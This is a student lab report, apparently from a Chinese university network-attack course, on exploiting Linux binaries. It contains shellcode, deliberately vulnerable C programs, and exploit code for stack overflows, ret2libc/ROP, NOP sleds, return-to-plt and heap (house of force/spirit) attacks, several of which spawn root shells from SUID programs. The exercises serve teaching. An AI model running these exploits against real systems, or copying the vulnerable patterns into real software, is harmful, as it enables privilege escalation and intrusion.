2018-2019 20165226 网络对抗 Exp10 逆向进阶

目录


一、实验内容介绍

二、64位shellcode的编写及注入

三、关闭保护的SSP

四、地址随机化

(一)ret2lib及rop的实践破解nx

(二)破解alsr(3种)

(三)Return-to-plt

五、堆溢出

六、问题与思考



一、实验内容介绍

```
第一个实践是在非常简单的一个预设条件下完成的:

(1)关闭堆栈保护

(2)关闭堆栈执行保护

(3)关闭地址随机化

(4)在x32环境下

(5)在Linux实践环境


##建议的实践内容包括:## - Task1 (5-10分) - 自己编写一个64位shellcode。参考[shellcode指导](https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x12_MAL_Shellcode%E5%9F%BA%E7%A1%80.md)。
- 自己编写一个有漏洞的64位C程序,功能类似我们实验1中的样例pwn1。使用自己编写的shellcode进行注入。 - Task 2 (5-10分) - 进一步学习并做ret2lib及rop的实践,以绕过“堆栈执行保护”。参考[ROP](https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x14_MAL_x64%E5%B9%B3%E5%8F%B0ROP%E6%8A%80%E6%9C%AF%E5%AE%9E%E8%B7%B5.md) - Task 3 ( 5-25分) - 可研究实践任何绕过前面预设条件的攻击方法;可研究Windows平台的类似技术实践。 - 或任何自己想弄明白的相关问题。包括非编程实践,如:我们当前的程序还有这样的漏洞吗? > 同学们可跟踪深入任何一个作为后续课题。问题-思考-验证-深入...。根据实践量,可作为5-25分的期末免考题目。 > 往届样例:学习并实践:[Linux攻击实践完整流程](https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x15_%E5%9F%BA%E6%9C%ACLinux%E6%BC%8F%E6%B4%9E%E6%94%BB%E5%87%BB.md) [<font size=3 face="微软雅黑">返回目录</font>](#00)
<hr><hr> <h4 id=0><font size=5 face="微软雅黑"> 二、64位shellcode的编写及注入</font></h4>
****
> 自己编写一个64位shellcode。参考shellcode指导。
> 自己编写一个有漏洞的64位C程序,功能类似我们实验1中的样例pwn1。使用自己编写的shellcode进行注入。 > shellcode 主要的目的是调用系统函数,而在x86下 在linux下有两种方式。
> 第一种是通过直接调用中断 int 0x80进入内核态,从而达到调用目的。
> 第二种是通过调用libc里syscall(64位)和sysenter(32位) - 首先通过资源找到root shell的汇编源码

global _start

_start:

xor rdi,rdi

xor rax,rax

mov al,0x69

syscall

xor rdx, rdx

mov rbx, 0x68732f6e69622fff

shr rbx, 0x8

push rbx

mov rdi, rsp

xor rax, rax

push rax

push rdi

mov rsi, rsp

mov al, 0x3b

syscall

![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322234455237-1133082935.png)

- 用nasm编译,然后用ld进行链接

![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322234611032-480039039.png)

- 这个代码并不是能够执行的shellcode ,但是我们可以通过编译成可执行文件,而拿到我们需要的操作码

![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322234739540-799476484.png)

- 套用一个代码测试我们的shellcode

include <stdio.h>

include <string.h>

char *shellcode = "\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";

int main(void)

{

fprintf(stdout,"Length: %d\n",strlen(shellcode));

((void()()) shellcode)();

return 0;

}

通过运行结果,发现这个shellcode不能用

![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190323000022935-674780335.png)

<hr>
虚拟机崩了,然后换了另一台,重新生成shellcode
- 编写恶一个通过execve系统调用来实现的shell程序

int main() {

asm("

needle0: jmp there\n

here: pop %rdi\n

xor %rax, %rax\n

movb $0x3b, %al\n

xor %rsi, %rsi\n

xor %rdx, %rdx\n

syscall\n

there: call here\n

.string "/bin/sh"\n

needle1: .octa 0xdeadbeef\n

");

}


- 编译运行此shell
![](https://img2018.cnblogs.com/blog/1047870/201905/1047870-20190519142001824-1728031323.png) - 查看机器码
```objdump -d a.out | sed -n '/needle0/,/needle1/p'```
![](https://img2018.cnblogs.com/blog/1047870/201905/1047870-20190519142115571-1794660576.png) - 该二进制文件中,我们的代码位于0x1129的偏移量处,并在偏移量0x1146之前完成,共有29个字节
![](https://img2018.cnblogs.com/blog/1047870/201905/1047870-20190519142141832-1495883755.png) - 查看shellcode
![](https://img2018.cnblogs.com/blog/1047870/201905/1047870-20190519142203396-1005175619.png) [<font size=3 face="微软雅黑">返回目录</font>](#00) <hr><hr> <h4 id=4><font size=4 face="微软雅黑">三、关闭保护的SSP</font></h4> > 有三种方式来保护堆栈,其中一种为SSP,又名ProPolice,编译器重新排列堆栈布局,使缓冲区溢出不太危险,并插入运行时堆栈完整性检查,第二种是地址随机化(ASLR),第三种是可执行空间保护 - 被攻击简单代码`target.c`:

include <stdio.h>

int main() {

char name[64];

puts("What's your name?");

gets(name);

printf("Hello, %s!\n", name);

return 0;

}

- 使用gcc的-fno-stack-protector选项禁用堆栈保护,编译target
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190602160945511-1288184502.png) - 出现警告,先忽略不管
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190602160959335-209647695.png) - 下载`execstack `后,使用`execstack -s target`禁用可执行文件空间保护
- 接着在运行文件时禁用`ASLR`
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190602161730478-1625185142.png) - 我们再在原`target.c`代码的基础上加上一句`printf("%p\n", name);`,打印缓冲区的位置,然后再编译运行
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190602162658626-427115965.png) - 让它以小端法显示
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190602162812558-614094961.png) - 此时攻击`target.c`程序
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190602162953323-669751868.png) [<font size=3 face="微软雅黑">返回目录</font>](#00)
<hr> <h4 id=3><font size=5 face="微软雅黑">四、地址随机化</font></h4>
<h4 id=1><font size=4 face="微软雅黑">(一) ret2lib及rop的实践破解nx</font></h4>
****
> 进一步学习并做ret2lib及rop的实践,以绕过“堆栈执行保护”。 <h4>1、ROP</h4>
- ROP全称为Retrun-oriented Programmming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码。 - ROP攻击同缓冲区溢出攻击,格式化字符串漏洞攻击不同,是一种全新的攻击方式,它利用代码复用技术。 - ROP的核心思想:
- 攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接。
- 操作系统通过栈来进行函数的调用和返回。函数的调用和返回就是通过压栈和出栈来实现的。每个程序都会维护一个程序运行栈,栈为所有函数共享,每次函数调用,系统会分配一个栈桢给当前被调用函数,用于参数的传递、局部变量的维护、返回地址的填入等。栈帧是程序运行栈的一部分 ,在Linux中 ,通过%esp和 %ebp寄存器维护栈顶指针和栈帧的起始地址 ,%eip是程序计数器寄存器。
- 而ROP攻击则是利用以ret结尾的程序片段 ,操作这些栈相关寄存器,控制程的流程,执行相应的gadget,实施攻击者预设目标 。 - ROP不同于retum-to-libc攻击之处在于,R0P攻击以ret指令结尾的函数代码片段 ,而不是整个函数本身去完成预定的操作。
- 从广义角度讲 ,return-to-libc攻击是ROP攻的特例。
- 最初ROP攻击实现在x86体系结构下,随后扩展到各种体系结构.。
- 与以往攻击技术不同的是,ROP恶意代码不包含任何指令,将自己的恶意代码隐藏在正常代码中。因而,它可以绕过W⊕X的防御技术。 <h4>2、核心原理-攻击缓冲区的内容</h4> 下表中ptr1-3就是在当前进程内存空间中要找到的地址。然后利用这三个地址构造攻击缓冲区,覆盖被攻击函数的堆栈。这只是一个非常简单的ROP攻击,只用了一个代码片段。复杂的ROP是由一系列的ptr1那样的指针构成,每一个都是以retq结尾的一小片代码(gadget)。 攻击用的缓冲区| 指向的内容| 说明
--|--|--
ptr3内存地址3(高地址)| system|
ptr2内存地址2| /bin/sh|
ptr1内存地址1(低地址)| pop %rdi;retq |覆盖堆栈上的返回地址
填充内容 | |这部分内容主要是长度要合适,保证ptr1能覆盖到返回地址 上面构造的攻击用缓冲区原理和前面介绍的Shellcode很类似。 - 利用这个攻击buf覆盖堆栈
- 当函数返回时,就会跳转到ptr1指向的指令
- pop %rdi时,ESP/RSP指向的就是ptr2,结果就是ptr2被弹出到rdi中。然后ESP/RSP指向ptr3
- 接下来执行retq时,就会跳转到当前ESP指向的内容,即ptr3指向的函数,system。system从RDI中取参数运行/bin/sh获得Shell <h4>3、攻击步骤</h4>
- 输入命令安装一些用于编译 32 位 C 程序的东西。

sudo apt-get update

sudo apt-get install lib32z1 libc6-dev-i386

sudo apt-get install lib32readline-gplv2-dev


- 输入命令`linux32`进入 32 位 linux 环境。输入`/bin/bash`使用 bash。 ![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610210909305-1594348293.png) - 添加一个新用户,如图所示 ![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322204146698-940130876.png) - 即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在/bin/bash 中实现。
linux 系统中,/bin/sh 实际是指向/bin/bash 或/bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替/bin/bash。下面的指令描述了如何设置 zsh 程序。 ![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322204350899-70250035.png) - 把以下漏洞代码保存为`5226retlib.c`文件,保存到` /tmp `目录下,并进行编译,设置。代码如下:

include <stdlib.h>

include <stdio.h>

include <string.h>

int bof(FILE badfile)

{

char buffer[12];

/
The following statement has a buffer overflow problem */

fread(buffer, sizeof(char), 40, badfile);

return 1;

}

int main(int argc, char **argv)

{

FILE *badfile;

badfile = fopen("badfile", "r");

bof(badfile);

printf("Returned Properly\n");

fclose(badfile);

return 1;

}


![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322210142142-913188.png) - 编译上述程序编译该程序,并设置 SET-UID。

sudo su//获取root权限

gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c//设置栈不可执行

chmod u+s retlib //给retlib程序的所有者以suid权限,可以像root用户一样操作

exit


![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322211335144-1343791938.png) - 此外,我们还需要用到一个读取环境变量的程序,并通过` gcc -m32 -o getenvaddr getenvaddr.c`进行编译。

include <stdio.h>

include <stdlib.h>

include <string.h>

int main(int argc, char const *argv[])

{

char *ptr;

if(argc < 3){

printf("Usage: %s \n", argv[0]);

exit(0);

}

ptr = getenv(argv[1]);

ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;

printf("%s will be at %p\n", argv[1], ptr);

return 0;

}


- 获得 BIN_SH 地址

export BIN_SH="/bin/sh"

echo $BIN_SH

./getenvaddr BIN_SH ./reblic


![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322211958687-1713463335.png) - 以下代码为攻击程序,保存为“exploit.c”文件,保存到 /tmp 目录下。

include <stdlib.h>

include <stdio.h>

include <string.h>

int main(int argc, char **argv)

{

char buf[40];

FILE *badfile;

badfile = fopen(".//badfile", "w");

strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times

*(long *) &buf[32] =0x11111111; // "//bin//sh"

*(long *) &buf[24] =0x22222222; // system()

*(long *) &buf[36] =0x33333333; // exit()

fwrite(buf, sizeof(buf), 1, badfile);

fclose(badfile);

}


- 通过编译和gdb调试获取system和exit地址

gcc -m32 -g -o exploit exploit.c//编译

gdb -q ./exploit//调试

b 10//设置断点

run//运行到断点处

p system//获取system地址

p exit//获取exit地址


![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322212259941-1229929586.png) - 修改` exploit.c `文件,填上刚才找到的内存地址。删除刚才调试编译的` exploit `程序和` badfile `文件,重新编译修改后的` exploit.c`。 ![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322214532589-1214742811.png) ![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322214634628-538580919.png) - 首先运行攻击程序,生成`badfile`文件,载运行漏洞程序,可以看到攻击成功,获得root权限。 ![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322214659339-774504607.png) [<font size=3 face="微软雅黑">返回目录</font>](#00)
<hr><hr> <h4 id=42><font size=4 face="微软雅黑"> (二)破解alsr(3种)</font></h4> > 帧地址随机化是地址空间布局随机化(Address space layout randomization,ASLR)的一种,它实现了栈帧起始地址一定程度上的随机化,令攻击者难以猜测需要攻击位置的地址。 1、NOP slide
- NOP滑动,也称为NOP sled 或者 NOP ramp,是指通过命中一串连续的 NOP (no-operation) 指令,从而使CPU指令执行流一直滑动到特定位置。
- 使用前提:未开启栈破坏检测(canary)和限制可执行代码区域。
- 一般将注入的代码放到存在溢出的缓冲区中,再将其所在栈帧返回地址用其起始地址覆盖,如此栈帧在返回时%rip就会转向缓冲区的位置,再执行注入的指令。
       buffer                sfp   ret   a     b     c

<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]

^ |

|____________________________|

top of bottom of

stack stack

其中S代表我们注入的指令,0xD8代表了buffer的起始地址##

然而在地址随机化的情况下可能需要成千上万次尝试才能准确命中buffer起始地址,因此我们插入大量NOP指令以此扩大命中范围。

因此,我们将注入的代码放在buffer高地址处,低地址处全部放上连续NOP指令,因此只需命中低地址任一ROP指令,都会滑动到注入代码部分。
       buffer                sfp   ret   a     b     c

<------ [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]

^ |

|_____________________|

top of bottom of

stack stack

N代表NOP,S代表代码部分,0xDE为buffer的低地址中的任意位置##

- vulnerable.c

void main(int argc, char *argv[]) {

char buffer[512];

if (argc > 1)

strcpy(buffer,argv[1]); /* 读取第一个参数的内容保存到buffer中 */

}

- exploit.c

include <stdlib.h>

define DEFAULT_OFFSET 0

define DEFAULT_BUFFER_SIZE 512

define NOP 0x90

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {

asm("movl %esp,%eax");

}

void main(int argc, char *argv[]) {

char *buff, *ptr;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i;

if (argc > 1) bsize = atoi(argv[1]);

if (argc > 2) offset = atoi(argv[2]); /* 猜测的偏移地址 */

if (!(buff = malloc(bsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

addr = get_sp() - offset;

printf("Using address: 0x%x\n", addr);

ptr = buff;

addr_ptr = (long ) ptr;

for (i = 0; i < bsize; i+=4) /
先将payload全部填满刚刚get_sp() - offset猜测出的地址,随后再填入NOP和shellcode */

*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++) /* 先填入NOP指令,为payload的一半大小 */

buff[i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));

for (i = 0; i < strlen(shellcode); i++) /* 再填入shellcode */

*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

memcpy(buff,"EGG=",4);

putenv(buff);

system("/bin/bash"); /* 设置环境变量并打开新的shell环境,该环境下会继承EGG这个含有我们构建的payload的环境变量 */

}

- 输入`./exploit 612`,返回一个地址
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609113501004-713404375.png) - 但结果未成功
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609113203266-487824829.png) 存在溢出漏洞缓冲区很小,不能完整注入攻击代码,或者能够注入的NOP指令很少,命中概率很低。 2、 small buffer overflows
但如果能够更改程序的环境变量,可以采用将payload放在环境变量的方法绕过限制,将返回地址改成该环境变量在内存中的地址。
- 当程序启动时,环境变量存储在栈的顶部,启动后调用setenv()设置的环境变量会在存放在别处,一开始栈是这个样子:

NULLNULL


- 使得一个新的shell环境下新增一个包含攻击payload的环境变量
- 攻击
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609115439354-2052856754.png)
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609115445252-1654088519.png) 3、 爆破lbic基址
- vuln.c

include <stdio.h>

include <string.h>

int main(int argc, char* argv[]) {

char buf[256];

strcpy(buf,argv[1]);

printf("%s\n",buf);

fflush(stdout);

return 0;

}


- 编译

echo 2 > /proc/sys/kernel/randomize_va_space

gcc -fno-stack-protector -g -o vuln vuln.c

sudo chown root vuln

sudo chgrp root vuln

sudo chmod +s vuln

![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609203607302-1206870846.png)

- 攻击者爆破Libc基址
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609203637899-54776627.png) 但此处需要16位,即需要尝试2^16次,然而任选一个多次尝试,失败。 <hr>
<h4 id=43><font size=4 face="微软雅黑"> (三)Return-to-plt</font></h4>
> 攻击者不再需要预测libc的基地址,而是可以简单地返回到“function@PLT”来调用“function”. 1、PLT介绍
- PLT(过程链接表)
- 运行时重新定位共享库符号而不修改其代码段
- 动态链接器以两种不同的方式重新定位PIC中发现的全局符号和函数
- 全局偏移表(GOT)
- 过程链接表(PLT)
- PIC(位置无关代码)
- 确保共享库代码段在多个进程之间共享
- 共享库代码段不包含绝对虚拟地址来代替全局符号和函数引用,而是指向数据段中的特定表 2、使用PLT理解动态库函数调用
- 使用代码

include

include <stdlib.h>

void fun(int a)

{

a++;

}

int main()

{

fun(1);

int x = rand();

return 0;

}

- 反汇编main函数
![](https://img2018.cnblogs.com/blog/1047870/201907/1047870-20190705151133972-856742469.png)
从此处可以看出调用我们自定义的fun和系统库函数rand形成的汇编差不多 - 通过地址查看rand
![](https://img2018.cnblogs.com/blog/1047870/201907/1047870-20190705151244062-1996046170.png) - `# 0x4018 <rand@got.plt>`看出rand@plt首先会跳到这里
![](https://img2018.cnblogs.com/blog/1047870/201907/1047870-20190705151648846-648416409.png) - 再看`0x00001036`
![](https://img2018.cnblogs.com/blog/1047870/201907/1047870-20190705152124190-30351168.png)
可以看出这里的处理和刚才rand@plt的jmpq一样。都是将0x01入栈,然后jmpq 0x1020,因此这样就避免了GOT表是否为是真实值的检查:如果是空,那么去寻址;否则直接调用。
![](https://img2018.cnblogs.com/blog/1047870/201907/1047870-20190705152425107-396316836.png) 3、攻击实现
- eg.c

include <stdio.h>

int main(int argc, char* argv[]) {

printf("Hello %s\n", argv[1]);

return 0;

}

- 输入`gcc -g -o eg eg.c`进行编译,如何进入gdb调试用反汇编显示
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609210024791-1767223017.png) - 不会直接调用'printf',而是调用相应的PLT代码'printf@PLT',在printf第一次调用之前,其相应的GOT条目(0x4018)指针将返回到PLT代码(0x00001036)
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609210144606-1650785799.png) - 第一次调用printf函数时,其对应的函数地址将在动态链接器的帮助下得到解决。
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609210250668-886931064.png) > 由此,我们知道攻击者不需要精确的libc函数地址来调用libc函数,可以使用'function@PLT'地址(在执行之前知道)来简单地调用它。 - 漏洞代码`v1.c`

void shell() {

system("/bin/sh");

exit(0);

}

int main(int argc, char* argv[]) {

int i=0;

char buf[256];

strcpy(buf,argv[1]);

printf("%s\n",buf);

return 0;

}

- 编译命令

echo 2 > /proc/sys/kernel/randomize_va_space

gcc -g -fno-stack-protector -o v1 v1.c

sudo chown root v1

sudo chgrp root v1

sudo chmod +s v1

- 我们用gdb反汇编你可执行文件`v1`,可以找到`system@PLT`和 `exit@PLT`的地址
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609212101429-171519019.png) - 使用这些地址我们可以写一个绕过ASLR(和NX bit)的漏洞利用代码
- 通过`hexdump -C v1`来获取`system_arg`的地址
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190609213515547-142014202.png) - 代码如下

import struct

from subprocess import call

system = 0x1050

exit = 0x1060

system_arg = 0x1250 #Obtained from hexdump output of executable 'vuln'

endianess convertion

def conv(num):

return struct.pack(system + exit + system_arg

buf = "A" * 272

buf += conv(system)

buf += conv(exit)

buf += conv(system_arg)

print "Calling vulnerable program"

call(["./v1", buf])


但运行`python exp.py`系统一直报错,于是换另一种方法。 - 基于之前`target`代码,先通过运行`execstack -c`指令重新启动可执行空间保护,通过`locate`找`libc`位置
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610174058178-797712935.png) - 在推进堆栈指针指向`/bin/sh`之前将指针分配给rdi,通过grep指令来实现在文件中检索给定的字节序列
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610174418697-654265502.png) - 覆盖返回地址:libc地址+0x23a5f,`/bin/sh`的地址;libc的system()函数的地址,然后在执行下一个ret指令时,程序将弹出“/bin/sh”的地址到rdi,然后跳转到系统函数。运行target程序:
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610174710063-1564149832.png) - 再打开终端查找gadget地址
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610174910964-1339080977.png) - 可以看出,libc被加载到从`0x7fff7de6000`开始的内存中,因此gadget地址是`0x7fff7de6000 + 0x23a5f`,`/bin/sh`的地址是`0x7fffffffe1a0`,最后我们通过下面的指令来找libc的system()函数的地址
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610175743369-283047028.png) - 如此可得到libc的system()函数的地址`0x7fff7de6000 + 0x449c0`,成功获取shell ![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610181945331-1139443811.png) ![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610181947549-2089559892.png) [<font size=3 face="微软雅黑">返回目录</font>](#00)
<hr> <h4 id=5><font size=5 face="微软雅黑"> 五、堆溢出</font></h4>
> 绝大多数堆溢出的基本原理如下:堆和栈很相似,既包含了数据信息,也包含了用来控制程序理解这些数据的维护信息。我们所要掌握的技巧,就是通过malloc和free来达到这个目的:把一或两个字写入我们能控制的内存地址。 - 产生堆溢出的程序 basiccheap.c

include <stdio.h>

int main(int argc, char *argv[])

{

char *buf;

char *buf2;

buf = (char *)malloc(1024);

buf2 = (char *)malloc(1024);

printf("buf=%p, buf2=%p/n", buf, buf2);

strcpy(buf, argv[1]);
free(buf2);

}

- 进行编译
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610220937560-294327654.png) - 进入gdb调试,本来想用malloc实现,把额外信息保存到空闲块中。空闲块的前4个字节是前向指针,接下来的4个字节是一个后向指针,这两种指针把空闲块挂在双向链表上。在对双向链表的插入和删除操作中,我们可以利用这些指针改写任意内存地址中的数据,但是失败了。
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610220956858-708340433.png) ### 尝试用house of force攻击
- 这个技巧中,攻击者滥用 top 块的大小,并欺骗 glibc malloc 使用 top 块来服务于一个非常大的内存请求(大于堆系统内存大小)。
- 利用`exp`程序进行攻击

include <stdio.h>

include <unistd.h>

include <string.h>

define VULNERABLE "./vuln"

define FREE_ADDRESS 0x08049858-0x8

define MALLOC_SIZE "0xFFFFF744"

define BUF3_USER_INP "\x08\xa0\x04\x08"

/* Spawn a shell. Size - 25 bytes. */

char scode[] =

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main( void )

{

int i;

char * p;

char argv1[ 265 ];

char * argv[] = { VULNERABLE, argv1, MALLOC_SIZE, BUF3_USER_INP, NULL };

    strcpy(argv1,scode);
for(i=25;i<260;i++)
argv1[i] = 'A'; strcpy(argv1+260,"\xFF\xFF\xFF\xFF"); /* Top chunk size */
argv[264] = ''; /* Terminating NULL character */ /* Execution of the vulnerable program */
execve( argv[0], argv, NULL );
return( -1 );

}

- 成功利用堆溢出,攻击者需要提供下面的命令行参数:
- argv[1] – 需要复制到第一个 malloc 块的 shellcode + 填充 + top 块大小。
- argv[2] – 第二个 malloc 块的大小参数。
- argv[3] – 复制到第三个 malloc 块的用户输入。
- 使用参数会覆盖 top 块大小:
- 攻击者的参数(argv[1] – Shellcode + Pad + 0xFFFFFFFF)会复制到堆缓冲区buf1。但是由于argv[1]大于 256,top 块的大小会覆盖为0xFFFFFFFF。 - 使用攻击者命令行参数执行漏洞程序,会执行shellcode
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190610222216377-385304793.png) ## House of Spirit
- 在可以通过某种方式(比如栈溢出)控制free参数时,就可以使用House of Spirit实现利用。free任一分配的地址,然后这个地址会再次分配的时候被分配,但是得提前构造好伪chunk结构。
### chunk结构
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190627162040979-1269181261.png) - 每个chunk除了包含最终返回用户的那部分mem,还包含头部用于保存chunk大小的相关信息。在32位系统下,chunk头的大小为8 Bytes,且每个chunk的大小也是8 Bytes的整数倍。
- chunk头包括以下两部分:
- prev_size: 如果当前chunk的相邻前一chunk未被使用,prev_size为此前一chunk的大小
- size: 当前chunk的大小。由于chunk大小是8的整数倍,所以此size的后3 bit被用于存储其他信息。我们需要记住的便是最低bit,即图中P的位置,用于指示前一chunk是否已被使用(PREV_INUSE)。 - 若当前chunk处于未被使用状态,则mem前8 bytes被用来存储其他信息
- fd: 下一个未被使用的chunk的地址
- bk: 上一个未被使用的chunk的地址 ### fastbin
fastbin所包含chunk的大小为16 Bytes, 24 Bytes, 32 Bytes, … , 80 Bytes。当分配一块较小的内存(mem<=64 Bytes)时,会首先检查对应大小的fastbin中是否包含未被使用的chunk,如果存在则直接将其从fastbin中移除并返回;否则通过其他方式(剪切top chunk)得到一块符合大小要求的chunk并返回。
而当free一块chunk时,也会首先检查其大小是否落在fastbin的范围中。如果是,则将其插入对应的bin中。顾名思义,fastbin为了快速分配回收这些较小size的chunk,并没对之前提到的bk进行操作,即仅仅通过fd组成了单链表而非双向链表,而且其遵循后进先出(LIFO)的原则。 - 编写一个简单程序`fastbin.c`

include<stdlib.h>

include<stdio.h>

int size = 40 | 0x1;

int main(int argc, char *argv[]) {

void *buf0, *buf1, *buf2;

buf0 = malloc(32);

buf1 = malloc(32);

free(buf1);

free(buf0);

buf0 = malloc(32);

read(0, buf0, 64);

buf1 = malloc(32);

buf2 = malloc(32);

printf("buf2 is at %p\n", buf2);

return 0;

}


- 通过命令来查看我们溢出的效果
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190627163236507-968380864.png)
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190627163239551-1993019758.png) 输出的结果显示,buf2会被分配到`0x574631c0`,而这里恰为伪chunk所对应的mem ### House of Spirit
> `The House of Prime`
`The House of Mind`
`The House of Force`
`The House of Lore`
`The House of Spirit`
`The House of Chaos`这五种堆攻击的方法中`House of Spirit`与fastbin有关。 - 预备条件
- 缓冲区溢出,用于覆盖一个变量,包含块地址,由glibc malloc返回
- 上面的块空闲
- Malloc一个块
- 用户输入应该能够复制到上面所分配的块中
- 漏洞程序
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190627173712935-603425928.png)
- 其中缓冲区溢出代码为红色区域
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190627173919730-2055427327.png)
为了成功利用漏洞程序,攻击者需要提供下面的命令行参数:

argv[1] = Shell Code + Stack Address + Chunk size


- 首先输入`ls`查看当前目录文件
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190627182055811-708468211.png) - 用exp程序进行攻击,输入`./exp`
![](https://img2018.cnblogs.com/blog/1047870/201906/1047870-20190627184409155-1432901216.png) [<font size=3 face="微软雅黑">返回目录</font>](#00)
<hr><hr> <h4 id=6><font size=5 face="微软雅黑"> 六、问题与思考</font></h4>
- 问题1:输入命令行`sudo apt-get install lib32readline-gplv2-dev`的时候出现无法安装的提示
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322173539943-1597860485.png) - 问题1解决方案:将命令改成`sudo apt-get install lib32readline6-dev`于是成功安装
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322174110489-560232077.png) - 问题2:在编译`5226retlib.c`时出现如图所示错误
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322210250152-1951335922.png) - 问题2解决方案:发现第一行没有`#`,加上后编译成功 - 问题3:在运行攻击程序生成badfile文件,载运行漏洞程序时攻击失败
![](https://img2018.cnblogs.com/blog/1047870/201903/1047870-20190322214122924-506355729.png) - 问题3解决方案:发现在另一终端未退出,在退出后重新进入目录,再运行,成功
[<font size=3 face="微软雅黑">返回目录</font>](#00)
<hr><hr>

最新文章

  1. strncpy和memcpy的区别
  2. 介绍开源的.net通信框架NetworkComms框架 源码分析(二十一 )TCPConnectionListener
  3. Wijmo 2016 V1 强势发布,全面支持Angular 2
  4. Codeforces Round #389 Div.2 B. Santa Claus and Keyboard Check
  5. 使用CSS/JS代码修改博客模板plus
  6. python生成中文验证码,带旋转,带干扰噪音线段
  7. 第十三章、学习 Shell Scripts 条件判断式
  8. STL algorithmi算法s_sorted和is_sorted_until(28)
  9. [转]8 Regular Expressions You Should Know
  10. Linux 环境下程序不间断运行
  11. CentOS7防火墙firewalld设置
  12. 最简单的HashMap底层原理介绍
  13. 【转】Angular学习总结--很详细的教程
  14. [Hibernate] 分页查询
  15. gb2312提交的url编码转换成utf8的查询
  16. Windows server 2008 R2 多用户远程桌面
  17. javascript数据结构与算法---检索算法(顺序查找、最大最小值、自组织查询)
  18. L3-017 森森快递 (30 分)
